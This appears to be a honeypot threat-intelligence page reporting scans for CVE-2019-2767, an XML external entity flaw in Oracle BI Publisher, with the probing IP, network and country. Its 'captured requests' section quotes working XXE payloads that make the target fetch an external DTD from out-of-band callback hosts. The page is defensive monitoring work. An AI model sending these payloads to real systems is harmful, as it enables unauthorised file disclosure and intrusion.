CVE-2019-2767: Oracle Business Intelligence Publisher - XML External Entity Injection
HoneyLabs honeypots recorded 5 probes matching CVE-2019-2767 from 1 distinct source IP address in the last 7 days. Severity is rated high.
Request paths that identify it
- /xmlpserver/convert?xml=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//{{*}}…
Addresses probing it
| Source IP | Probes | Network | Country |
|---|---|---|---|
| 93.123.109.214 | 5 | Techoff Srv Limited | Bulgaria |
Networks it comes from
| ASN | Organisation | Probes | Source IPs |
|---|---|---|---|
| AS48090 | Techoff Srv Limited | 5 | 1 |
Where it comes from
| Country | Probes |
|---|---|
| Bulgaria | 5 |
Captured requests
- /xmlpserver/convert?xml=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//db55a55r4boh7qauocv04m9nopp9pezjd.oast.pro/xxe.xml">%25sp%3b%25param1%3b]>&_xf=Excel&…
- /xmlpserver/convert?xml=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//db6ju85r4boqct66i8b0fj6jo63rk31ag.oast.me/xxe.xml">%25sp%3b%25param1%3b]>&_xf=Excel&_…
- /xmlpserver/convert?xml=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//db7a64tr4bopjr84s5hgwrmmf7bys3js3.oast.site/xxe.xml">%25sp%3b%25param1%3b]>&_xf=Excel…
- /xmlpserver/convert?xml=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//db817n5r4boisguf8240iaqb3rzf6fj3d.oast.site/xxe.xml">%25sp%3b%25param1%3b]>&_xf=Excel…
HTTP client fingerprints
- b11cun040_00040013_608dab68
CVE report
CVE report
Open a specific CVE from the CVE tracker.